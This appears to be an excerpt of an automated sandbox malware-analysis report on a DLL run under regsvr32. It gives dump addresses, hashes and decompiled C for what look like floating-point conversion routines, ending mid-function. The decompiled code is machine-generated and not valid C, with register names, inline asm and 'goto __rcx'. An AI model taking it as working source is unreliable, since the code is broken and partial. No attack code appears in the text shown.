0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88d
0x1004b88f
0x1004b891
0x1004b891
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4
0x1004b410
0x1004b414
0x1004b41c
0x1004b42c
0x1004b436
0x1004b436
0x1004b863

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b52cfed9d01e5d56e42872f806c8db6a4b8a9faa4dcc68366eb91c7554dae62
Instruction ID: 093d49a745519808f2779cc4552b7e3ee5e0e5b9fcfe00a52da67d4e98afe87b
Opcode Fuzzy Hash: 7b52cfed9d01e5d56e42872f806c8db6a4b8a9faa4dcc68366eb91c7554dae62
Instruction Fuzzy Hash: CF51C377628BD5C6D761CF2AE04079AB7A1F791780FA05026EB8983B58DB79D841CF08

Uniqueness

Uniqueness Score: -1.00%

Function 1004B709 Relevance: .2, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E1004B709(void* __ebx, void* __edx, signed int __ebp, void* __r8, void* __r11, long long* __r13, void* __r15, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, signed int _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296) {
				unsigned int _t135;
				signed int _t136;
				signed short _t146;
				signed short _t147;
				signed short _t151;
				signed short _t152;
				signed int _t153;
				signed int _t157;
				signed int _t159;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				signed char _t176;
				void* _t177;
				signed int _t178;
				signed int _t179;
				signed short _t180;
				signed short _t181;
				signed int _t183;
				signed int _t187;
				signed int _t191;
				signed short _t195;
				signed int _t196;
				signed int _t200;
				void* _t201;
				signed int _t202;
				signed int _t205;
				signed int _t206;
				void* _t214;
				signed long long _t220;
				void* _t221;
				void* _t223;
				long long _t225;
				signed int* _t226;
				long long _t228;
				void* _t230;
				signed long long _t233;
				long long _t236;
				void* _t238;
				signed int* _t239;
				void* _t240;
				signed int _t241;
				void* _t242;
				char* _t243;
				signed short* _t244;
				long long* _t246;
				signed int* _t249;

				_t246 = __r13;
				_t242 = __r11;
				_t235 = __r8;
				_t206 = __ebp;
				_t177 = __ebx;
				r15d = 1;
				if(__edx - 0x30 > 9) {
					_t236 = _t228;
					_t200 = 0;
					goto L6;
				} else {
					r9d = __r15 + 3;
					_t235 = __r8 - __r15;
					do {
						goto L1;
					} while (r9d != 0xa);
					_t200 = 0;
					__eflags = 0;
					L6:
					__eflags = _t206;
					 *_t246 = _t236;
					if(_t206 == 0) {
						r8d = _t200;
						_t191 = _t200;
						_t200 = 4;
						L100:
						_t179 = 0;
						_t135 = 0;
						__eflags = 0;
						L101:
						_t239 = _a72;
						_t136 = _t135 | _a52;
						__eflags = _t136;
						_t239[2] = _t136;
						 *_t239 = _t179;
						_t239[0] = _t191;
						_t239[1] = r8d;
						__eflags = _a160 ^ _t233;
						return E1002FF40(_t179, _a160 ^ _t233);
					}
					__eflags = r10d - 0x18;
					if(r10d <= 0x18) {
						__eflags = r10d;
						if(r10d == 0) {
							r8d = _t200;
							_t191 = _t200;
							goto L100;
						}
						L13:
						_t243 = _t242 - 1;
						__eflags =  *_t243;
						if( *_t243 != 0) {
							L16:
							_t9 =  &_a96; // 0x61
							_t10 =  &_a128; // 0x81
							E1004EED0(r10d, _t214, _t10, _t223, _t228, _t230, _t9, _t238, _t240, _t243);
							__eflags = r14d;
							if(r14d >= 0) {
								r8d = _a48;
							} else {
								r8d = _a48;
								r8d =  ~r8d;
							}
							r8d = r8d + _t177;
							__eflags = r12d;
							if(r12d == 0) {
								r8d = r8d + _a288;
								__eflags = r8d;
							}
							__eflags = r15d;
							if(r15d == 0) {
								r8d = r8d - _a296;
								__eflags = r8d;
							}
							__eflags = r8d - 0x1450;
							if(r8d > 0x1450) {
								_t191 = _t200;
								_t135 = 0x7fff;
								r8d = 0x80000000;
								_t200 = 2;
								_t179 = 0;
								goto L101;
							} else {
								__eflags = r8d - 0xffffebb0;
								if(r8d < 0xffffebb0) {
									r8d = _t200;
									_t191 = _t200;
									_t200 = 1;
									goto L100;
								}
								_t225 = 0x100b3270;
								__eflags = r8d;
								if(r8d == 0) {
									L95:
									_t179 = _a96 & 0x0000ffff;
									_t191 = _a98;
									r8d = _a102;
									_t135 = _a104 >> 0x10;
									goto L101;
								}
								__eflags = r8d;
								if(r8d < 0) {
									r8d =  ~r8d;
									_t225 = 0x100b33d0;
									__eflags = 0x100b3430;
								}
								__eflags = _a56;
								_t142 =  ==  ? 0 : _a96 & 0x0000ffff;
								__eflags = r8d;
								_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
								if(r8d == 0) {
									_t200 = 0;
									__eflags = 0;
								} else {
									r9d = 0xffff8000;
									do {
										_t225 = _t225 + 0x54;
										r8d = r8d >> 3;
										__eflags = r8d & 0x00000007;
										_a48 = r8d;
										_a64 = _t225;
										if((r8d & 0x00000007) == 0) {
											goto L92;
										}
										_t220 = _t210 + _t210 * 2;
										__eflags =  *((short*)(_t225 + _t220 * 4)) - 0x8000;
										_t249 = _t225 + _t220 * 4;
										if( *((short*)(_t225 + _t220 * 4)) >= 0x8000) {
											_t26 =  &_a112; // 0x71
											_t220 = _t26;
											 *_t220 =  *_t249;
											_t173 = _t249[2];
											_t28 =  &_a112; // 0x71
											_t249 = _t28;
											 *(_t220 + 8) = _t173;
											_t210 = _a112 >> 0x10;
											_t174 = _t173 - 1;
											__eflags = _t174;
											_a114 = _t174;
										}
										_t180 = _t249[2] & 0x0000ffff;
										_t146 = _a106 & 0x0000ffff;
										r15d = 0;
										_t181 = _t180 & 0x00007fff;
										_a80 = 0;
										_t147 = _t146 & 0x00007fff;
										_a84 = 0;
										_t195 = (_t180 & 0x0000ffff ^ _t146) & 0x00008000;
										__eflags = _t147 - 0x7fff;
										_a88 = 0;
										_a56 = _t195;
										_t201 = _t210 + _t220;
										if(_t147 >= 0x7fff) {
											L91:
											__eflags = _t195;
											_t225 = _a64;
											_t149 =  !=  ? r9d : 0x7fff8000;
											_a100 = 0;
											_a96 = 0;
											_a104 =  !=  ? r9d : 0x7fff8000;
										} else {
											__eflags = _t181 - 0x7fff;
											if(_t181 >= 0x7fff) {
												goto L91;
											}
											__eflags = _t201 - 0xbffd;
											if(_t201 > 0xbffd) {
												goto L91;
											}
											__eflags = _t201 - 0x3fbf;
											if(_t201 > 0x3fbf) {
												__eflags = _t147;
												if(_t147 != 0) {
													L43:
													__eflags = _t181;
													if(_t181 != 0) {
														L48:
														r13d = 0;
														_t226 =  &_a84;
														r12d = 5;
														do {
															__eflags = r12d;
															_t178 = r12d;
															_t221 = _t246 + _t246;
															if(r12d <= 0) {
																goto L63;
															}
															_t56 =  &(_t249[2]); // 0x9
															_t241 = _t56;
															_t58 = _t221 + 0x60; // 0x65
															_t244 = _t233 + _t58;
															_t205 = r13d & 0x00000001;
															__eflags = _t205;
															do {
																_t183 = ( *_t244 & 0x0000ffff) * ( *_t241 & 0x0000ffff);
																__eflags = _t205;
																if(_t205 == 0) {
																	r8d = 0;
																	r9d = _t210 + _t221;
																	__eflags = r9d -  *(_t226 - 4);
																	if(r9d <  *(_t226 - 4)) {
																		L58:
																		r8d = 1;
																		L59:
																		 *(_t226 - 4) = r9d;
																		goto L60;
																	}
																	__eflags = r9d - _t183;
																	if(r9d >= _t183) {
																		goto L59;
																	}
																	goto L58;
																}
																r8d = 0;
																r9d = _t210 + _t221;
																__eflags = r9d -  *(_t226 - 4);
																if(r9d <  *(_t226 - 4)) {
																	L54:
																	r8d = 1;
																	L55:
																	 *(_t226 - 4) = r9d;
																	goto L60;
																}
																__eflags = r9d - _t183;
																if(r9d >= _t183) {
																	goto L55;
																}
																goto L54;
																L60:
																__eflags = r8d;
																if(r8d != 0) {
																	 *_t226 =  *_t226 + 1;
																	__eflags =  *_t226;
																}
																_t178 = _t178 - 1;
																_t244 =  &(_t244[1]);
																_t241 = _t241 - 2;
																__eflags = _t178;
															} while (_t178 > 0);
															L63:
															r12d = r12d - 1;
															_t226 =  &(_t226[0]);
															r13d = r13d + 1;
															__eflags = r12d;
														} while (r12d > 0);
														_t202 = _t201 + 0xc002;
														__eflags = _t202;
														if(__eflags <= 0) {
															r8d = _a88;
															_t196 = _a84;
															r9d = _a80;
															L78:
															_t202 = _t202 + 0xffff;
															__eflags = _t202;
															if(_t202 >= 0) {
																L70:
																_t151 = _a80 & 0x0000ffff;
																L71:
																__eflags = _t151 - 0x8000;
																if(_t151 > 0x8000) {
																	L73:
																	_t152 = _a82;
																	__eflags = _t152 - 0xffffffff;
																	if(_t152 != 0xffffffff) {
																		_t153 = _t152 + 1;
																		__eflags = _t153;
																		_a82 = _t153;
																		_t196 = _a84;
																	} else {
																		_t157 = _a86;
																		_a82 = 0;
																		__eflags = _t157 - 0xffffffff;
																		if(_t157 != 0xffffffff) {
																			_a86 = _t157 + 1;
																			r8d = _a88;
																			_t196 = _a84;
																		} else {
																			_t159 = _a90 & 0x0000ffff;
																			_a86 = 0;
																			__eflags = _t159 - 0xffff;
																			if(_t159 != 0xffff) {
																				_t196 = _a84;
																				_a90 = _t159 + 1;
																				r8d = _a88;
																			} else {
																				_t196 = _a84;
																				_a90 = 0x8000;
																				r8d = _a88;
																				_t202 = _t202 + 1;
																			}
																		}
																	}
																	L88:
																	__eflags = _t202 - 0x7fff;
																	if(_t202 < 0x7fff) {
																		_a98 = _t196;
																		_t225 = _a64;
																		_a102 = r8d;
																		r8d = _a48;
																		_a96 = _a82 & 0x0000ffff;
																		_a106 = _t202 | _a56;
																		r9d = 0xffff8000;
																	} else {
																		__eflags = _a56;
																		_t225 = _a64;
																		r8d = _a48;
																		r9d = 0xffff8000;
																		_a100 = 0;
																		_t156 =  !=  ? r9d : 0x7fff8000;
																		_a96 = 0;
																		_a104 =  !=  ? r9d : 0x7fff8000;
																	}
																	goto L92;
																}
																r9d = r9d & 0x0001ffff;
																__eflags = r9d - 0x18000;
																if(r9d != 0x18000) {
																	goto L88;
																}
																goto L73;
															}
															r10d =  ~(_t202 & 0x0000ffff) & 0x0000ffff;
															_t202 = _t202 + r10w;
															__eflags = _t202;
															do {
																__eflags = _a80 & 0x00000001;
																if((_a80 & 0x00000001) != 0) {
																	r15d = r15d + 1;
																	__eflags = r15d;
																}
																r9d = r9d >> 1;
																r9d = r9d | _t196 << 0x0000001f;
																r8d = r8d >> 1;
																_t196 = _t196 >> 0x00000001 | r8d << 0x0000001f;
																_t241 = _t241 - 1;
																__eflags = _t241;
																_a80 = r9d;
															} while (_t241 != 0);
															__eflags = r15d;
															_a84 = _t196;
															_a88 = r8d;
															if(r15d == 0) {
																goto L70;
															}
															_t151 = r9w | 0x00000001;
															_a80 = _t151;
															r9d = _a80;
															goto L71;
														}
														r8d = _a88;
														_t196 = _a84;
														r9d = _a80;
														while(1) {
															asm("inc ecx");
															if(__eflags < 0) {
																break;
															}
															r8d = r8d + r8d;
															_t187 = _t196 >> 0x1f;
															r9d = r9d + r9d;
															_t196 = _t196 + _t196 | r9d >> 0x0000001f;
															r8d = r8d | _t187;
															_t202 = _t202 + 0xffff;
															_a84 = _t196;
															_a88 = r8d;
															__eflags = _t202;
															_a80 = r9d;
															if(__eflags > 0) {
																continue;
															}
															goto L78;
														}
														__eflags = _t202;
														if(_t202 <= 0) {
															goto L78;
														}
														goto L70;
													}
													_t201 = _t201 + 1;
													asm("btr eax, 0x1f");
													__eflags = _t249[2];
													if(_t249[2] != 0) {
														goto L48;
													}
													__eflags = _t249[1];
													if(_t249[1] != 0) {
														goto L48;
													}
													__eflags =  *_t249;
													if( *_t249 != 0) {
														goto L48;
													}
													_t225 = _a64;
													_a104 = 0;
													_a100 = 0;
													_a96 = 0;
													goto L92;
												}
												_t201 = _t201 + 1;
												asm("btr eax, 0x1f");
												__eflags = _a104;
												if(_a104 != 0) {
													goto L43;
												}
												__eflags = _a100;
												if(_a100 != 0) {
													goto L43;
												}
												__eflags = _a96;
												if(_a96 != 0) {
													goto L43;
												}
												_t225 = _a64;
												_a106 = 0;
												goto L92;
											}
											_t225 = _a64;
											_a104 = 0;
											_a100 = 0;
											_a96 = 0;
										}
										L92:
										__eflags = r8d;
									} while (r8d != 0);
									_t200 = 0;
								}
								goto L95;
							}
						}
						do {
							_t243 = _t243 - 1;
							r10d = r10d + 0xffffffff;
							_t177 = _t177 + 1;
							__eflags =  *_t243;
						} while ( *_t243 == 0);
						goto L16;
					}
					_t175 = _a151 & 0x000000ff;
					__eflags = _t175 - 5;
					if(_t175 >= 5) {
						_t176 = _t175 + 1;
						__eflags = _t176;
						_a151 = _t176;
					}
					_t242 = _t242 - 1;
					r10d = 0x18;
					_t177 = _t177 + 1;
					goto L13;
				}
				L1:
				_t235 = _t235 + 1;
				if(r9d <= 0xb) {
					_t210 = 0x10000000;
					goto __rcx;
				}
				__eflags = r9d - 0xa;
			}

0x1004b709
0x1004b709
0x1004b709
0x1004b709
0x1004b709
0x1004b70c
0x1004b715
0x1004b8d0
0x1004b8d3
0x00000000
0x1004b71b
0x1004b71b
0x1004b71f
0x1004b410
0x00000000
0x00000000
0x1004b86d
0x1004b86d
0x1004b86f
0x1004b86f
0x1004b871
0x1004b875
0x1004be56
0x1004be59
0x1004be5b
0x1004be60
0x1004be60
0x1004be63
0x1004be63
0x1004be66
0x1004be66
0x1004be6b
0x1004be6b
0x1004be70
0x1004be77
0x1004be7b
0x1004be7f
0x1004becb
0x1004beda
0x1004beda
0x1004b87b
0x1004b87f
0x1004b95f
0x1004b962
0x1004be4f
0x1004be52
0x00000000
0x1004be52
0x1004b968
0x1004b968
0x1004b96c
0x1004b970
0x1004b991
0x1004b991
0x1004b996
0x1004b9a1
0x1004b9a6
0x1004b9a9
0x1004b9b5
0x1004b9ab
0x1004b9ab
0x1004b9b0
0x1004b9b0
0x1004b9ba
0x1004b9bd
0x1004b9c0
0x1004b9c2
0x1004b9c2
0x1004b9c2
0x1004b9ca
0x1004b9cd
0x1004b9cf
0x1004b9cf
0x1004b9cf
0x1004b9d7
0x1004b9de
0x1004be39
0x1004be3b
0x1004be3f
0x1004be45
0x1004be4a
0x00000000
0x1004b9e4
0x1004b9e4
0x1004b9eb
0x1004be2d
0x1004be30
0x1004be32
0x00000000
0x1004be32
0x1004b9f8
0x1004b9fc
0x1004b9ff
0x1004be16
0x1004be1a
0x1004be1f
0x1004be23
0x1004be28
0x00000000
0x1004be28
0x1004ba05
0x1004ba08
0x1004ba11
0x1004ba14
0x1004ba14
0x1004ba14
0x1004ba1d
0x1004ba27
0x1004ba2b
0x1004ba2e
0x1004ba33
0x1004be14
0x1004be14
0x1004ba39
0x1004ba39
0x1004ba40
0x1004ba43
0x1004ba47
0x1004ba4b
0x1004ba4e
0x1004ba53
0x1004ba58
0x00000000
0x00000000
0x1004ba60
0x1004ba64
0x1004ba6a
0x1004ba6e
0x1004ba73
0x1004ba73
0x1004ba78
0x1004ba7b
0x1004ba7f
0x1004ba7f
0x1004ba84
0x1004ba8c
0x1004ba90
0x1004ba90
0x1004ba93
0x1004ba93
0x1004ba97
0x1004ba9c
0x1004baa1
0x1004baa7
0x1004baac
0x1004bab3
0x1004bab7
0x1004babb
0x1004bac0
0x1004bac4
0x1004bac8
0x1004bacd
0x1004bad0
0x1004bdea
0x1004bdea
0x1004bded
0x1004bdf7
0x1004bdfb
0x1004bdff
0x1004be03
0x1004bad6
0x1004bad6
0x1004badb
0x00000000
0x00000000
0x1004bae1
0x1004bae6
0x00000000
0x00000000
0x1004baec
0x1004baf1
0x1004bb09
0x1004bb0c
0x1004bb39
0x1004bb39
0x1004bb3c
0x1004bb6f
0x1004bb6f
0x1004bb72
0x1004bb77
0x1004bb80
0x1004bb80
0x1004bb88
0x1004bb8b
0x1004bb8e
0x00000000
0x00000000
0x1004bb93
0x1004bb93
0x1004bb97
0x1004bb97
0x1004bb9c
0x1004bb9c
0x1004bba0
0x1004bba8
0x1004bbab
0x1004bbad
0x1004bbd2
0x1004bbd5
0x1004bbd9
0x1004bbdc
0x1004bbe3
0x1004bbe3
0x1004bbe9
0x1004bbe9
0x00000000
0x1004bbe9
0x1004bbde
0x1004bbe1
0x00000000
0x00000000
0x00000000
0x1004bbe1
0x1004bbb2
0x1004bbb5
0x1004bbb9
0x1004bbbc
0x1004bbc3
0x1004bbc3
0x1004bbc9
0x1004bbc9
0x00000000
0x1004bbc9
0x1004bbbe
0x1004bbc1
0x00000000
0x00000000
0x00000000
0x1004bbed
0x1004bbed
0x1004bbf0
0x1004bbf2
0x1004bbf2
0x1004bbf2
0x1004bbf6
0x1004bbf9
0x1004bbfd
0x1004bc01
0x1004bc01
0x1004bc05
0x1004bc05
0x1004bc09
0x1004bc0d
0x1004bc11
0x1004bc11
0x1004bc1a
0x1004bc1f
0x1004bc22
0x1004bcdd
0x1004bce2
0x1004bce6
0x1004bceb
0x1004bceb
0x1004bceb
0x1004bcf0
0x1004bc74
0x1004bc74
0x1004bc79
0x1004bc79
0x1004bc7d
0x1004bc93
0x1004bc93
0x1004bc97
0x1004bc9a
0x1004bd7d
0x1004bd7d
0x1004bd80
0x1004bd84
0x1004bca0
0x1004bca0
0x1004bca4
0x1004bca8
0x1004bcab
0x1004bd6e
0x1004bd72
0x1004bd77
0x1004bcb1
0x1004bcb1
0x1004bcb6
0x1004bcba
0x1004bcbe
0x1004bd57
0x1004bd5f
0x1004bd64
0x1004bcc4
0x1004bcc4
0x1004bcc8
0x1004bccf
0x1004bcd4
0x1004bcd4
0x1004bcbe
0x1004bcab
0x1004bd88
0x1004bd88
0x1004bd8d
0x1004bdc5
0x1004bdc9
0x1004bdce
0x1004bdd3
0x1004bdd8
0x1004bddd
0x1004bde2
0x1004bd8f
0x1004bd8f
0x1004bd94
0x1004bd99
0x1004bda3
0x1004bda9
0x1004bdad
0x1004bdb1
0x1004bdb5
0x1004bdb5
0x00000000
0x1004bd8d
0x1004bc7f
0x1004bc86
0x1004bc8d
0x00000000
0x00000000
0x00000000
0x1004bc8d
0x1004bcf8
0x1004bcfc
0x1004bcfc
0x1004bd00
0x1004bd00
0x1004bd05
0x1004bd07
0x1004bd07
0x1004bd07
0x1004bd10
0x1004bd1b
0x1004bd1e
0x1004bd21
0x1004bd23
0x1004bd23
0x1004bd27
0x1004bd27
0x1004bd2e
0x1004bd31
0x1004bd35
0x1004bd3a
0x00000000
0x00000000
0x1004bd44
0x1004bd48
0x1004bd4d
0x00000000
0x1004bd4d
0x1004bc28
0x1004bc2d
0x1004bc31
0x1004bc36
0x1004bc36
0x1004bc3b
0x00000000
0x00000000
0x1004bc42
0x1004bc4a
0x1004bc4d
0x1004bc50
0x1004bc52
0x1004bc55
0x1004bc5a
0x1004bc5e
0x1004bc63
0x1004bc66
0x1004bc6b
0x00000000
0x00000000
0x00000000
0x1004bc6d
0x1004bc6f
0x1004bc72
0x00000000
0x00000000
0x00000000
0x1004bc72
0x1004bb42
0x1004bb46
0x1004bb4a
0x1004bb4c
0x00000000
0x00000000
0x1004bb4e
0x1004bb52
0x00000000
0x00000000
0x1004bb54
0x1004bb57
0x00000000
0x00000000
0x1004bb59
0x1004bb5e
0x1004bb62
0x1004bb66
0x00000000
0x1004bb66
0x1004bb12
0x1004bb16
0x1004bb1a
0x1004bb1c
0x00000000
0x00000000
0x1004bb1e
0x1004bb22
0x00000000
0x00000000
0x1004bb24
0x1004bb28
0x00000000
0x00000000
0x1004bb2a
0x1004bb2f
0x00000000
0x1004bb2f
0x1004baf3
0x1004baf8
0x1004bafc
0x1004bb00
0x1004bb00
0x1004be07
0x1004be07
0x1004be07
0x1004be10
0x1004be10
0x00000000
0x1004ba33
0x1004b9de
0x1004b980
0x1004b980
0x1004b984
0x1004b988
0x1004b98b
0x1004b98b
0x00000000
0x1004b980
0x1004b885
0x1004b88d
0x1004b88f
0x1004b891
0x1004b891
0x1004b893
0x1004b893
0x1004b89a
0x1004b89e
0x1004b8a4
0x00000000
0x1004b8a4
0x1004b410
0x1004b414
0x1004b41c
0x1004b42c
0x1004b436
0x1004b436
0x1004b863

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 600cce69a99380174dcb25f6556e71070e59df41642542b269edef352d8ad910
Instruction ID: dd785cd97295b635759df58f984bd2fa59a11adb394168535ad8139eb33eccdb
Opcode Fuzzy Hash: 600cce69a99380174dcb25f6556e71070e59df41642542b269edef352d8ad910
Instruction Fuzzy Hash: CC51D477628BD5C6D761CF2AE04079AB7A1F381780FA05026EB8983B58DB79D845CF08

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029360 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f817b85356f16491b1ee2c18874f92f5c1326a857d6773873fc03a33ae5c3d3a
Instruction ID: 252dc8228594d11b38238fa612f3451793f21747b0303a7f257f8f0924c06301
Opcode Fuzzy Hash: f817b85356f16491b1ee2c18874f92f5c1326a857d6773873fc03a33ae5c3d3a
Instruction Fuzzy Hash: 2A513770D046088BEB58DFA9D489ADDBBF1FB4C314F10812EE846B7291CB789948CF59

Uniqueness

Uniqueness Score: -1.00%

Function 1004B85C Relevance: .1, Instructions: 146
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E1004B85C(void* __ebx, void* __ebp, unsigned long long __rax, long long __r8, void* __r11, long long* __r13, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, intOrPtr _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296) {
				unsigned int _t134;
				signed short _t145;
				signed short _t146;
				signed short _t150;
				signed short _t151;
				signed int _t152;
				signed int _t156;
				signed int _t158;
				signed int _t172;
				signed int _t174;
				void* _t176;
				signed int _t177;
				signed int _t179;
				signed short _t180;
				signed short _t181;
				signed int _t183;
				signed int _t187;
				signed int _t189;
				signed short _t193;
				signed int _t194;
				signed int _t197;
				void* _t198;
				signed int _t199;
				signed int _t202;
				void* _t203;
				void* _t240;
				unsigned long long _t242;
				signed long long _t246;
				void* _t247;
				void* _t248;
				long long _t250;
				signed int* _t251;
				void* _t253;
				void* _t255;
				signed long long _t258;
				long long _t260;
				void* _t262;
				signed int* _t263;
				void* _t264;
				signed int _t265;
				void* _t266;
				char* _t267;
				signed short* _t268;
				long long* _t270;
				signed int* _t273;

				_t270 = __r13;
				_t266 = __r11;
				_t260 = __r8;
				_t236 = __rax;
				_t203 = __ebp;
				_t176 = __ebx;
				_t242 = 0x10000000;
				while(r9d != 0xa) {
					_t260 = _t260 + 1;
					if(r9d <= 0xb) {
						_t236 = 0x10000000;
						_t242 = _t242 + 0x10000000;
						goto __rcx;
					}
				}
				_t197 = 0;
				 *_t270 = _t260;
				if(_t203 == 0) {
					r8d = 0;
					_t189 = 0;
					_t197 = 4;
					goto L98;
				} else {
					if(r10d <= 0x18) {
						__eflags = r10d;
						if(r10d == 0) {
							r8d = 0;
							_t189 = 0;
							L98:
							_t179 = 0;
							_t134 = 0;
							__eflags = 0;
							L99:
							_t263 = _a72;
							_t263[2] = _t134 | _a52;
							 *_t263 = _t179;
							_t263[0] = _t189;
							_t263[1] = r8d;
							return E1002FF40(_t179, _a160 ^ _t258);
						}
						L11:
						_t267 = _t266 - 1;
						if( *_t267 != 0) {
							L14:
							_t8 =  &_a96; // 0x61
							_t9 =  &_a128; // 0x81
							E1004EED0(r10d, _t240, _t9, _t248, _t253, _t255, _t8, _t262, _t264, _t267);
							if(r14d >= 0) {
								r8d = _a48;
							} else {
								r8d = _a48;
								r8d =  ~r8d;
							}
							r8d = r8d + _t176;
							if(r12d == 0) {
								r8d = r8d + _a288;
							}
							if(r15d == 0) {
								r8d = r8d - _a296;
							}
							if(r8d > 0x1450) {
								_t189 = _t197;
								_t134 = 0x7fff;
								r8d = 0x80000000;
								_t197 = 2;
								_t179 = 0;
								goto L99;
							} else {
								if(r8d < 0xffffebb0) {
									r8d = _t197;
									_t189 = _t197;
									_t197 = 1;
									goto L98;
								}
								_t250 = 0x100b3270;
								if(r8d == 0) {
									L93:
									_t179 = _a96 & 0x0000ffff;
									_t189 = _a98;
									r8d = _a102;
									_t134 = _a104 >> 0x10;
									goto L99;
								}
								if(r8d < 0) {
									r8d =  ~r8d;
									_t250 = 0x100b33d0;
								}
								_t141 =  ==  ? 0 : _a96 & 0x0000ffff;
								_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
								if(r8d == 0) {
									_t197 = 0;
									__eflags = 0;
								} else {
									r9d = 0xffff8000;
									do {
										_t250 = _t250 + 0x54;
										r8d = r8d >> 3;
										_a48 = r8d;
										_a64 = _t250;
										if((r8d & 0x00000007) == 0) {
											goto L90;
										}
										_t246 = _t236 + _t236 * 2;
										_t273 = _t250 + _t246 * 4;
										if( *((short*)(_t250 + _t246 * 4)) >= 0x8000) {
											_t25 =  &_a112; // 0x71
											_t246 = _t25;
											 *_t246 =  *_t273;
											_t172 = _t273[2];
											_t27 =  &_a112; // 0x71
											_t273 = _t27;
											 *(_t246 + 8) = _t172;
											_t236 = _a112 >> 0x10;
											_a114 = _t172 - 1;
										}
										_t180 = _t273[2] & 0x0000ffff;
										_t145 = _a106 & 0x0000ffff;
										r15d = 0;
										_t181 = _t180 & 0x00007fff;
										_a80 = 0;
										_t146 = _t145 & 0x00007fff;
										_a84 = 0;
										_t193 = (_t180 & 0x0000ffff ^ _t145) & 0x00008000;
										_a88 = 0;
										_a56 = _t193;
										_t198 = _t236 + _t246;
										if(_t146 >= 0x7fff || _t181 >= 0x7fff || _t198 > 0xbffd) {
											__eflags = _t193;
											_t250 = _a64;
											_t148 =  !=  ? r9d : 0x7fff8000;
											_a100 = 0;
											_a96 = 0;
											_a104 =  !=  ? r9d : 0x7fff8000;
										} else {
											if(_t198 > 0x3fbf) {
												__eflags = _t146;
												if(_t146 != 0) {
													L41:
													__eflags = _t181;
													if(_t181 != 0) {
														L46:
														r13d = 0;
														_t251 =  &_a84;
														r12d = 5;
														do {
															__eflags = r12d;
															_t177 = r12d;
															_t247 = _t270 + _t270;
															if(r12d <= 0) {
																goto L61;
															}
															_t55 =  &(_t273[2]); // 0x9
															_t265 = _t55;
															_t57 = _t247 + 0x60; // 0x65
															_t268 = _t258 + _t57;
															_t202 = r13d & 0x00000001;
															__eflags = _t202;
															do {
																_t183 = ( *_t268 & 0x0000ffff) * ( *_t265 & 0x0000ffff);
																__eflags = _t202;
																if(_t202 == 0) {
																	r8d = 0;
																	r9d = _t236 + _t247;
																	__eflags = r9d -  *(_t251 - 4);
																	if(r9d <  *(_t251 - 4)) {
																		L56:
																		r8d = 1;
																		L57:
																		 *(_t251 - 4) = r9d;
																		goto L58;
																	}
																	__eflags = r9d - _t183;
																	if(r9d >= _t183) {
																		goto L57;
																	}
																	goto L56;
																}
																r8d = 0;
																r9d = _t236 + _t247;
																__eflags = r9d -  *(_t251 - 4);
																if(r9d <  *(_t251 - 4)) {
																	L52:
																	r8d = 1;
																	L53:
																	 *(_t251 - 4) = r9d;
